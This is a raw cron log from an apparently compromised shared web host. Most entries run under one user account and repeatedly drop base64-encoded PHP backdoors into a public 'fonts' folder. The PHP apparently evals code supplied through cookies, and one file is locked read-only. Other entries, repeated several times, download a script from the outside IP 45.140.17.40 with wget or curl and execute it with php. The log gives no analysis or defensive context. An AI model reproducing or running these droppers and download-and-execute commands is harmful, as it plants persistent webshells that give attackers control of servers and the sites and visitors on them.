Sep  1 09:01:01 ip-184-168-122-23 CROND[25070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:01:01 ip-184-168-122-23 CROND[25072]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 09:01:01 ip-184-168-122-23 CROND[25074]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:01:01 ip-184-168-122-23 CROND[25076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:01:01 ip-184-168-122-23 CROND[25078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:01:01 ip-184-168-122-23 CROND[25079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25072]: starting 0anacron
Sep  1 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25092]: finished 0anacron
Sep  1 09:02:01 ip-184-168-122-23 CROND[25179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:02:01 ip-184-168-122-23 CROND[25181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:02:01 ip-184-168-122-23 CROND[25183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:02:01 ip-184-168-122-23 CROND[25182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:02:01 ip-184-168-122-23 CROND[25184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:03:02 ip-184-168-122-23 CROND[25305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:03:02 ip-184-168-122-23 CROND[25306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:03:02 ip-184-168-122-23 CROND[25307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:03:02 ip-184-168-122-23 CROND[25308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:04:02 ip-184-168-122-23 CROND[25417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:04:02 ip-184-168-122-23 CROND[25418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:04:02 ip-184-168-122-23 CROND[25419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:04:02 ip-184-168-122-23 CROND[25420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:04:02 ip-184-168-122-23 CROND[25421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:05:01 ip-184-168-122-23 CROND[25520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:05:01 ip-184-168-122-23 CROND[25522]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:05:01 ip-184-168-122-23 CROND[25524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:05:01 ip-184-168-122-23 CROND[25525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:05:01 ip-184-168-122-23 CROND[25529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:05:01 ip-184-168-122-23 CROND[25526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:05:01 ip-184-168-122-23 CROND[25527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:06:01 ip-184-168-122-23 CROND[25668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:06:01 ip-184-168-122-23 CROND[25670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:06:01 ip-184-168-122-23 CROND[25671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:06:01 ip-184-168-122-23 CROND[25673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:06:01 ip-184-168-122-23 CROND[25672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:07:01 ip-184-168-122-23 CROND[25773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:07:01 ip-184-168-122-23 CROND[25776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:07:01 ip-184-168-122-23 CROND[25775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:07:01 ip-184-168-122-23 CROND[25777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:08:01 ip-184-168-122-23 CROND[25873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:08:01 ip-184-168-122-23 CROND[25874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:08:01 ip-184-168-122-23 CROND[25875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:08:01 ip-184-168-122-23 CROND[25879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:08:01 ip-184-168-122-23 CROND[25882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:09:01 ip-184-168-122-23 CROND[25990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:09:01 ip-184-168-122-23 CROND[25992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:09:01 ip-184-168-122-23 CROND[25994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:09:01 ip-184-168-122-23 CROND[25996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:09:01 ip-184-168-122-23 CROND[25995]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 09:10:01 ip-184-168-122-23 CROND[26183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:10:01 ip-184-168-122-23 CROND[26182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:10:01 ip-184-168-122-23 CROND[26185]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:10:01 ip-184-168-122-23 CROND[26188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:10:01 ip-184-168-122-23 CROND[26190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:10:01 ip-184-168-122-23 CROND[26192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:10:01 ip-184-168-122-23 CROND[26189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:10:01 ip-184-168-122-23 CROND[26191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:11:01 ip-184-168-122-23 CROND[26305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:11:01 ip-184-168-122-23 CROND[26304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:11:01 ip-184-168-122-23 CROND[26306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:11:01 ip-184-168-122-23 CROND[26307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:12:01 ip-184-168-122-23 CROND[26413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:12:01 ip-184-168-122-23 CROND[26410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:12:01 ip-184-168-122-23 CROND[26417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:12:01 ip-184-168-122-23 CROND[26418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:12:01 ip-184-168-122-23 CROND[26416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
